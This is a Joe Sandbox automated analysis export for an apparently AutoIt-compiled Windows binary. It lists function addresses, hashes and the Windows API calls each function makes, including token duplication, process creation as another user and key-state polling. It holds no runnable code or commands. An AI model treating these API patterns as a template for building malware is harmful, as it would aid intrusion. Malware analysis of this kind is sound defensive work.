Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: LongNamePath
String ID:
API String ID: 82841172-0
Opcode ID: 5f6aaa6cfbe3c24923cdee33309bfe9c3cac53bb77bb73289929cf9aa5a34b93
Instruction ID: 2c628b6a3e359fadb81ab7efc36e370af20b369bf60ff3b14e03b1670d32194e
Opcode Fuzzy Hash: 5f6aaa6cfbe3c24923cdee33309bfe9c3cac53bb77bb73289929cf9aa5a34b93
Instruction Fuzzy Hash: E6E0D822B0C745A1DB21A7A5F58839DA365FF4CBC4F844031EE8C43B56EE6CC5C48B10

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D042E98 Relevance: 1.5, APIs: 1, Instructions: 19windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32 ref: 00007FF73D042EEE

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 7bea4270f957565a9ad37107269845c54d1d2a8ecbba6d94dcffb9444ca25ae7
Instruction ID: 530b6ea8e42a16f02fcdde7fd0b001c0e7cdd68207ada5fb61193722db89ec76
Opcode Fuzzy Hash: 7bea4270f957565a9ad37107269845c54d1d2a8ecbba6d94dcffb9444ca25ae7
Instruction Fuzzy Hash: EFF09021A0DB8A9BE3A5AB98A00036976A5F744704F840034D18C02641DF7DC3088B50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D041080 Relevance: 1.5, APIs: 1, Instructions: 17COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D044C4C: RegOpenKeyExW.KERNELBASE(?,?,?,00007FF73D04109E), ref: 00007FF73D044DA1

_onexit.LIBCMT ref: 00007FF73D065458

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Open_onexit
String ID:
API String ID: 3030063568-0
Opcode ID: b12d59ccc9ba3de22b7e4879e144cae7e70e5f1dd0983fb156c49f2ebe46ff73
Instruction ID: d211c7ed4ca6b4393b84cd70039410fc0c225f593b8724368a5fa6126683d1dd
Opcode Fuzzy Hash: b12d59ccc9ba3de22b7e4879e144cae7e70e5f1dd0983fb156c49f2ebe46ff73
Instruction Fuzzy Hash: FFE08C50F0E54FA2EA04B7E5E88D0749261EF94B8AFC14132C10D47366FF5CD1AAA720

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D04597C Relevance: 1.5, APIs: 1, Instructions: 16COMMON

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(?,?,00000001,00007FF73D0459D7,?,?,?,00007FF73D04C453), ref: 00007FF73D0459A5

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: 923db915552005a13eca234126b5c06333ce33e473e1ad73eb68adafc71e0948
Instruction ID: 50ca466e84cb683773e449ae27878d40ff77427a76b16d32cbfd688d9d8d56d3
Opcode Fuzzy Hash: 923db915552005a13eca234126b5c06333ce33e473e1ad73eb68adafc71e0948
Instruction Fuzzy Hash: 53E04FA3E18A0996FB045BA0D44833C6370E728F3EF501720C63C041C5EFBCC5948650

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D041048 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00007FF73D065458

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _onexit
String ID:
API String ID: 572287377-0
Opcode ID: f7a7f9bab9f42132d0b285807a4bb012c8a67892999842f1185965a2b71c44e0
Instruction ID: 95fbe130c620000b497db18d3d33201cfc96cd48fe2b58a67fba6781fcc98bc1
Opcode Fuzzy Hash: f7a7f9bab9f42132d0b285807a4bb012c8a67892999842f1185965a2b71c44e0
Instruction Fuzzy Hash: 18C01200F6D54FA1E50473F95C9A0B44060DF68B15FD00572D14DC4293FF0C51EBAA31

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D041064 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

_onexit.LIBCMT ref: 00007FF73D065458

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: _onexit
String ID:
API String ID: 572287377-0
Opcode ID: d64bee4aeed0cd9d858d4d7276f25433730869fe4a4aa376e43a8662143b1d09
Instruction ID: f245e4662f3c265fb20c7ad299ecaf38987a6c765025527b4d0573dc32bc0a15
Opcode Fuzzy Hash: d64bee4aeed0cd9d858d4d7276f25433730869fe4a4aa376e43a8662143b1d09
Instruction Fuzzy Hash: 39C01200F5D44FA1E50473F5888B0B44050CF68B05FE00172D14D883D3FF0C91EA6A21

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0410E8 Relevance: 1.5, APIs: 1, Instructions: 13COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D061D7C: GetVersionExW.KERNEL32 ref: 00007FF73D061DC4
Part of subcall function 00007FF73D061D7C: GetCurrentProcess.KERNEL32 ref: 00007FF73D061F42
Part of subcall function 00007FF73D061D7C: IsWow64Process.KERNEL32 ref: 00007FF73D061F52

_onexit.LIBCMT ref: 00007FF73D065458

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Process$CurrentVersionWow64_onexit
String ID:
API String ID: 2932345936-0
Opcode ID: 23839b1ed6039edf784697293449aa4853d529117b93e47d32a08b70584eea6f
Instruction ID: 880c28af5fc4217b015f8d116b9805cab5e67d051ac527c244858682bffc585d
Opcode Fuzzy Hash: 23839b1ed6039edf784697293449aa4853d529117b93e47d32a08b70584eea6f
Instruction Fuzzy Hash: A1C01210F5D44FA1E50473F5988A0B44050CFA8B05FD00171D24D882D3FF0C51EA6721

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D064AA0 Relevance: 1.5, APIs: 1, Instructions: 12windowCOMMON

Download Yara Rule

APIs

DestroyIcon.USER32 ref: 00007FF73D064AB0

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: DestroyIcon
String ID:
API String ID: 1234817797-0
Opcode ID: 0d89603e996b7ea6abf3d6dc9dca7bdcdd40fded03c9c63833a6848e43c83302
Instruction ID: 61597b77c8037f177f9a3f911f0f31f00e5e3d72e6bb60161437b93d32a02a78
Opcode Fuzzy Hash: 0d89603e996b7ea6abf3d6dc9dca7bdcdd40fded03c9c63833a6848e43c83302
Instruction Fuzzy Hash: 3CE0B6A1E1E91BF1EB84F7D0E8954B49360AF94B04FC10831C50E461A6BF9DA18AA770

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0BDCA4 Relevance: 1.5, APIs: 1, Instructions: 11COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE ref: 00007FF73D0BDCA8

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 7c33f8859c2b57bf045eb7a69f405e87aa34de0117918a63adbdec273ee7b030
Instruction ID: add83700e461cdfbceef76866d348b3f3e0a86277364b26bfa9589409003060c
Opcode Fuzzy Hash: 7c33f8859c2b57bf045eb7a69f405e87aa34de0117918a63adbdec273ee7b030
Instruction Fuzzy Hash: 8AC01220C0E40FA0E95837A809862B8C3515F03B20FE00232D03F422E0EB5CE46B3630

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D041A3D Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32 ref: 00007FF73D041A4F

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: a5a41a46eb0dea186bdd3579dadba9409b2a8f6fdade110388820c24077a0610
Instruction ID: f72e18a5952ce483f5959b8eee97a189e7662066020d1ecc1cc9f3c828cbf743
Opcode Fuzzy Hash: a5a41a46eb0dea186bdd3579dadba9409b2a8f6fdade110388820c24077a0610
Instruction Fuzzy Hash: 12C01271F0C4069FF328D756F841464F761EF58750BC54030C50942660DF2E79E4DB14

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0DE424 Relevance: 1.5, APIs: 1, Instructions: 227COMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 00007FF73D0DE558

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: cf7fa37a2d9fddca8071a5c30e12ba09ac34ac3b5b3218e726dd3834399541a6
Instruction ID: abb4a342ae78ff9921da8d0958337a76bc3f6f3814309deae575e86d94311c45
Opcode Fuzzy Hash: cf7fa37a2d9fddca8071a5c30e12ba09ac34ac3b5b3218e726dd3834399541a6
Instruction Fuzzy Hash: DBA17F37A1CA8AA1DA65EF65D16807DA360FB44FC4B884636DB8E47795EF3CE440D320

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D047DA0 Relevance: 1.3, APIs: 1, Instructions: 45COMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 00007FF73D047DF1

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: d7a99286d2ed868ee1b544396779f67f90ae9b6e2a085d87e874ed833f995128
Instruction ID: c6f09d97c5432d79aa6eb219236909f4aedd0a6c2587a89a41eebc31005e341a
Opcode Fuzzy Hash: d7a99286d2ed868ee1b544396779f67f90ae9b6e2a085d87e874ed833f995128
Instruction Fuzzy Hash: 6911E362A0CA96A1DA04EF96D1442BDB330EF84FD0F888535DB6D07BD6DF28D461D750

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0C7434 Relevance: 1.3, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D0BC948: FindFirstFileW.KERNELBASE ref: 00007FF73D0BC9E1
Part of subcall function 00007FF73D0BC948: DeleteFileW.KERNEL32 ref: 00007FF73D0BCA33
Part of subcall function 00007FF73D0BC948: FindNextFileW.KERNEL32 ref: 00007FF73D0BCA45
Part of subcall function 00007FF73D0BC948: FindClose.KERNEL32 ref: 00007FF73D0BCA57

GetLastError.KERNEL32 ref: 00007FF73D0C7465

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: FileFind$CloseDeleteErrorFirstLastNext
String ID:
API String ID: 2191629493-0
Opcode ID: f1d320824f6adf03c7725a30a158d35ccc1c78f3904e994acbd5c110909edece
Instruction ID: f0549da82d11d44c9783b73a245a97883cb10b23f3764d577be3e7f01324b335
Opcode Fuzzy Hash: f1d320824f6adf03c7725a30a158d35ccc1c78f3904e994acbd5c110909edece
Instruction Fuzzy Hash: 88F0AF22B0C69592EB10AF66E59427DA760EF88FC4F888430EF5E47716DF38D4528B50

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D04BF9C Relevance: 1.3, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

wcscpy.LIBCMT ref: 00007FF73D04BFD6

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: wcscpy
String ID:
API String ID: 1284135714-0
Opcode ID: d1a843a1ca542ee9378ecc93ed041f6bc6060f7f2d7e70a2f24c22d2c10b4619
Instruction ID: 222e324e4b5b65d331474d81d2cf2f666099bc833faff5b0c2fdc5135768d182
Opcode Fuzzy Hash: d1a843a1ca542ee9378ecc93ed041f6bc6060f7f2d7e70a2f24c22d2c10b4619
Instruction Fuzzy Hash: 8DE08661B0D64651ED04B7D6B949078E251DB89FF0F848334BE7C4B7D6EE2CD0404304

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00007FF73D05DE3C Relevance: 38.0, APIs: 25, Instructions: 475windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF73D05DEEA
DeleteObject.GDI32 ref: 00007FF73D05DF4E
DeleteObject.GDI32 ref: 00007FF73D05DF56
DestroyIcon.USER32 ref: 00007FF73D05DF5E
DestroyWindow.USER32 ref: 00007FF73D05DF66
ImageList_Destroy.COMCTL32 ref: 00007FF73D0A23C4
MoveWindow.USER32 ref: 00007FF73D0A28F5
SendMessageW.USER32 ref: 00007FF73D0A2929
SendMessageW.USER32 ref: 00007FF73D0A2947
ImageList_Destroy.COMCTL32 ref: 00007FF73D0A295C
ImageList_Destroy.COMCTL32 ref: 00007FF73D0A296B

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Destroy$ImageList_Window$DeleteMessageObjectSend$IconMove
String ID:
API String ID: 3372153169-0
Opcode ID: 6efd0f35805d98d56fcfa6e1226efd81c10f6d97090dd359ae1d6e3ae03cd512
Instruction ID: 94001ae673a8596e16de1134458d7607e38dac16de35c28db1abc3fe20a6899f
Opcode Fuzzy Hash: 6efd0f35805d98d56fcfa6e1226efd81c10f6d97090dd359ae1d6e3ae03cd512
Instruction Fuzzy Hash: FA22C062A0D54BA1EB64ABA5D4542BDA362FF40F94F945132CE2E07690FF3DE590E330

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D0ADAC8 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 227processCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF73D0AE22C: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF73D0AE290
Part of subcall function 00007FF73D0AE22C: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF73D0AE2CF
Part of subcall function 00007FF73D0AE22C: GetLastError.KERNEL32 ref: 00007FF73D0AE2E2

LogonUserW.ADVAPI32 ref: 00007FF73D0ADB7A
DuplicateTokenEx.ADVAPI32 ref: 00007FF73D0ADBAD
CloseHandle.KERNEL32 ref: 00007FF73D0ADBC0
OpenWindowStationW.USER32 ref: 00007FF73D0ADBDF
GetProcessWindowStation.USER32 ref: 00007FF73D0ADBF6
SetProcessWindowStation.USER32 ref: 00007FF73D0ADC03
OpenDesktopW.USER32 ref: 00007FF73D0ADC23
wcscpy.LIBCMT ref: 00007FF73D0ADD05
LoadUserProfileW.USERENV ref: 00007FF73D0ADD18
CreateEnvironmentBlock.USERENV ref: 00007FF73D0ADD38
CreateProcessAsUserW.ADVAPI32 ref: 00007FF73D0ADD8F

Part of subcall function 00007FF73D0AE3E0: GetProcessHeap.KERNEL32 ref: 00007FF73D0AE402
Part of subcall function 00007FF73D0AE3E0: HeapAlloc.KERNEL32 ref: 00007FF73D0AE414
Part of subcall function 00007FF73D0AE3E0: GetCurrentProcess.KERNEL32 ref: 00007FF73D0AE41D
Part of subcall function 00007FF73D0AE3E0: GetCurrentProcess.KERNEL32 ref: 00007FF73D0AE426
Part of subcall function 00007FF73D0AE3E0: DuplicateHandle.KERNEL32 ref: 00007FF73D0AE44A
Part of subcall function 00007FF73D0AE3E0: GetCurrentProcess.KERNEL32 ref: 00007FF73D0AE450
Part of subcall function 00007FF73D0AE3E0: GetCurrentProcess.KERNEL32 ref: 00007FF73D0AE459
Part of subcall function 00007FF73D0AE3E0: DuplicateHandle.KERNEL32 ref: 00007FF73D0AE47E
Part of subcall function 00007FF73D0AE3E0: CreateThread.KERNEL32 ref: 00007FF73D0AE4A4

UnloadUserProfile.USERENV ref: 00007FF73D0ADDCC
CloseWindowStation.USER32 ref: 00007FF73D0ADDE5
CloseDesktop.USER32 ref: 00007FF73D0ADDF3
SetProcessWindowStation.USER32 ref: 00007FF73D0ADE05
CloseHandle.KERNEL32 ref: 00007FF73D0ADE10
DestroyEnvironmentBlock.USERENV ref: 00007FF73D0ADE27

Strings

winsta0, xrefs: 00007FF73D0ADBD2
winsta0\default, xrefs: 00007FF73D0ADCB4
default, xrefs: 00007FF73D0ADC17

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177152415.00007FF73D135000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_7ff73d040000_Far.jbxd

Similarity

API ID: Process$StationWindow$CloseCurrentHandleUser$CreateDuplicate$BlockDesktopEnvironmentHeapOpenProfileToken$AdjustAllocDestroyErrorLastLoadLogonLookupPrivilegePrivilegesThreadUnloadValuewcscpy
String ID: default$winsta0$winsta0\default
API String ID: 3202303201-1423368268
Opcode ID: 513a4833af98609aad93fe044ca45d7eca6d44883eb324fa1777917f56f64ec4
Instruction ID: 2279898246df0f646d3474ee935a89df31eaf7e210300ef1ff1d805de2ec2e48
Opcode Fuzzy Hash: 513a4833af98609aad93fe044ca45d7eca6d44883eb324fa1777917f56f64ec4
Instruction Fuzzy Hash: 82A15F32A0CB4696EB10EFA1E4442AEB3A5FB85B94F840135DE5D47B98EF3CE005D760

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF73D04169C Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32 ref: 00007FF73D0417A4
GetSystemMetrics.USER32 ref: 00007FF73D0417AF
SystemParametersInfoW.USER32 ref: 00007FF73D0417E1
GetSystemMetrics.USER32 ref: 00007FF73D0417EB
GetSystemMetrics.USER32 ref: 00007FF73D041816
SetRect.USER32 ref: 00007FF73D041839
AdjustWindowRectEx.USER32 ref: 00007FF73D04184C
CreateWindowExW.USER32 ref: 00007FF73D0418AB
SetWindowLongPtrW.USER32 ref: 00007FF73D0418CA
GetClientRect.USER32 ref: 00007FF73D0418EC
GetStockObject.GDI32 ref: 00007FF73D041908
SendMessageW.USER32 ref: 00007FF73D04191B

Part of subcall function 00007FF73D04155C: GetCursorPos.USER32 ref: 00007FF73D04158B
Part of subcall function 00007FF73D04155C: ScreenToClient.USER32 ref: 00007FF73D0415AA
Part of subcall function 00007FF73D04155C: GetAsyncKeyState.USER32 ref: 00007FF73D0415DC
Part of subcall function 00007FF73D04155C: GetAsyncKeyState.USER32 ref: 00007FF73D0415FC

SetTimer.USER32 ref: 00007FF73D04194C

Strings

AutoIt v3 GUI, xrefs: 00007FF73D04189B

Memory Dump Source

Source File: 00000015.00000002.2176177689.00007FF73D041000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF73D040000, based on PE: true

Associated: 00000015.00000002.2175633048.00007FF73D040000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D0F6000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2176902194.00007FF73D119000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000015.00000002.2177002370.00007FF73D12B000.00000004.00000001.01000000.0000000A.sdmpDownload File
